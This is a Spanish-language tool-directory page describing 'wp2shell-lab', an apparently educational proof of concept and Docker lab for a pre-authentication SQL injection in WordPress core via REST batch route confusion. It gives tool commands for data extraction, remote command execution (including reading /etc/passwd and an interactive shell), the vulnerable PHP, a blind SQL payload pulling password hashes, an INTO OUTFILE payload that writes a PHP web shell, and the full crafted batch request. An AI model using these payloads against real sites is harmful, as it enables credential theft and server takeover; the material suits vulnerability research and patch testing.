Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/47cid/wp2shell-lab
Análisis EstáticoAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebCTFPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsLabs y Práctica
GitHub47cid/wp2shell-lab
14234hace 2 mesesAún no revisado

wp2shell-lab

PoC educativo + laboratorio para CVE-2026-63030 + CVE-2026-60137: inyección SQL pre-autenticación en el núcleo de WordPress a través de confusión de ruta por lotes REST

Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

wp2shell-lab

PoC educativo y laboratorio para CVE-2026-63030 + CVE-2026-60137: inyección SQL sin autenticación en el núcleo de WordPress mediante confusión de rutas batch REST.

Descubierto por Adam Kues (Searchlight Cyber / Assetnote). Corregido en WordPress 6.9.5 / 7.0.2.

Inicio rápido

# bring up the vulnerable lab
cd docker && ./setup.sh
cd ..

# detect
python3 -m exploit check http://localhost:8888
python3 -m exploit check http://localhost:8888 --confirm-sqli

# extract data (fast mode, default)
python3 -m exploit extract http://localhost:8888 --preset fingerprint
python3 -m exploit extract http://localhost:8888 --preset users

# extract data (blind mode, for comparison)
python3 -m exploit extract http://localhost:8888 --mode blind --preset fingerprint

# custom SQL query
python3 -m exploit extract http://localhost:8888 --query "SELECT @@version"

# RCE (requires FILE privilege, the lab grants it)
python3 -m exploit rce http://localhost:8888 --cmd "id"
python3 -m exploit rce http://localhost:8888 --cmd "cat /etc/passwd"
python3 -m exploit rce http://localhost:8888 -i   # interactive shell

# proxy through Burp
python3 -m exploit extract http://localhost:8888 --proxy http://127.0.0.1:8080

# tear down
cd docker && ./setup.sh down

Análisis técnico

Paso 1: El endpoint batch no requiere autenticación

POST /wp-json/batch/v1 agrupa múltiples llamadas a la API REST en una sola solicitud HTTP. No tiene verificación de autenticación propia. La seguridad se delega al callback de permisos de cada sub-solicitud.

Paso 2: La desincronización

serve_batch_request_v1() construye dos arrays paralelos:

  • $matches[] rastrea a qué manejador despachar cada sub-solicitud
  • $validation[] rastrea si cada sub-solicitud pasó la validación

Indexa ambos por el mismo offset durante el despacho. El error: cuando la ruta de una sub-solicitud falla en wp_parse_url(), se introduce un WP_Error en $validation pero no en $matches. Esto desplaza $matches en uno, por lo que cada sub-solicitud subsiguiente se despacha al manejador incorrecto.

Paso 3: Doble anidamiento

La desincronización se utiliza dos veces.

Batch externo. Una solicitud a /wp/v2/posts que contiene un batch interno como cuerpo se despacha bajo el manejador batch (auto-llamada). Fue validada como una solicitud de posts, por lo que el array requests interno nunca fue verificado contra el esquema del batch. Esto evade la lista blanca de métodos y permite que las sub-solicitudes internas usen GET.

Batch interno. Una solicitud a /wp/v2/categories?author_exclude=<SQLI> se despacha bajo get_items() de posts. El esquema de categories no define author_exclude, por lo que pasa la validación sin cambios. Pero get_items() de posts lo mapea a WP_Query::author__not_in, donde el valor se interpola en crudo en SQL.

Paso 4: La inyección SQL

El código vulnerable de WP_Query solo sanitizaba author__not_in cuando ya era un array:

// PRE-FIX (vulnerable)
if (is_array($query_vars['author__not_in'])) {
    $query_vars['author__not_in'] = array_map('absint', ...);  // sanitize
}
$author__not_in = implode(',', (array) $query_vars['author__not_in']);
$where .= " AND post_author NOT IN ($author__not_in) ";        // raw interpolation

Un valor de tipo string evita completamente la compuerta is_array(). La conversión (array) lo envuelve sin sanitizar.

Paso 5: Qué se puede hacer con ello

Leer la base de datos (cada sitio afectado):

author_exclude = 0) AND (ASCII(SUBSTRING((SELECT user_pass FROM wp_users LIMIT 1),1,1)) > 80)-- -

Oráculo booleano: posts devueltos = verdadero, vacío = falso. Búsqueda binaria por carácter.

Escribir archivos (requiere privilegio FILE de MySQL, no es el predeterminado de WordPress):

author_exclude = 0) AND 1=0 UNION SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/path/shell.php'-- -

La desincronización del batch

La solicitud HTTP real:

{
  "requests": [
    {"method": "POST", "path": "http://"},
    {"method": "POST", "path": "/wp/v2/posts", "body": {
      "requests": [
        {"method": "POST", "path": "http://"},
        {"method": "POST", "path": "/wp/v2/categories?author_exclude=<SQLI>",
         "body": {"name": "x", "orderby": false}},
        {"method": "GET",  "path": "/wp/v2/posts"}
      ]
    }},
    {"method": "POST", "path": "/batch/v1"}
  ]
}

Cómo se desalinean los arrays:

serve_batch_request_v1() procesa sub-solicitudes en dos bucles. El primer bucle valida cada sub-solicitud y construye $matches[] y $validation[]. El segundo bucle despacha cada sub-solicitud usando $matches[$i] como el manejador. Debido a que el error del primer elemento falta en $matches, el segundo bucle empareja cada solicitud con el manejador incorrecto.

POST /?rest_route=/batch/v1  (anonymous, no auth)
|
v
THE REQUEST YOU SEND
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"          -> wp_parse_url fails              |
|    [1] POST /wp/v2/posts  -> match: posts_handler            |
|    [2] POST /batch/v1     -> match: batch_handler            |
|                                                              |
|  $validation:  [ error,  OK(posts),     OK(batch)    ]       |
|  $matches:     [         posts_handler, batch_handler ]      |
|                 ^                                            |
|                 error skipped in $matches                    |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /posts  uses $matches[1] = batch_handler        |
|         -> posts body executed as a nested batch             |
|    i=2: POST /batch  uses $matches[2] = out of bounds        |
|                                                              |
+--------------------------------------------------------------+
                          |
                          v
NESTED BATCH (serve_batch_request_v1 calls itself on the body above)
+--------------------------------------------------------------+
|                                                              |
|  Loop 1 (validate):                                          |
|    [0] "http://"            -> wp_parse_url fails            |
|    [1] POST /categories     -> match: categories_handler     |
|    [2] GET  /wp/v2/posts    -> match: posts_handler          |
|                                                              |
|  $validation:  [ error,  OK(cats),         OK(posts)    ]    |
|  $matches:     [         categories_handler, posts_handler ] |
|                                                              |
|  Loop 2 (dispatch):                                          |
|    i=0: error -> skip                                        |
|    i=1: POST /categories uses $matches[1] = posts_handler    |
|         -> categories request handled by posts get_items()   |
|         -> author_exclude not in cats schema, unsanitized    |
|         -> posts maps it to WP_Query::author__not_in         |
|         -> SQL INJECTION                                     |
|                                                              |
+--------------------------------------------------------------+

Extracción rápida mediante oráculo de máscara de bits X-WP-Total

Los PoCs existentes utilizan extracción booleana ciega: 1 bit por solicitud HTTP, aproximadamente 224 solicitudes para un hash de contraseña. Este repositorio combina dos técnicas para una extracción ~75 veces más rápida.

Descargar herramienta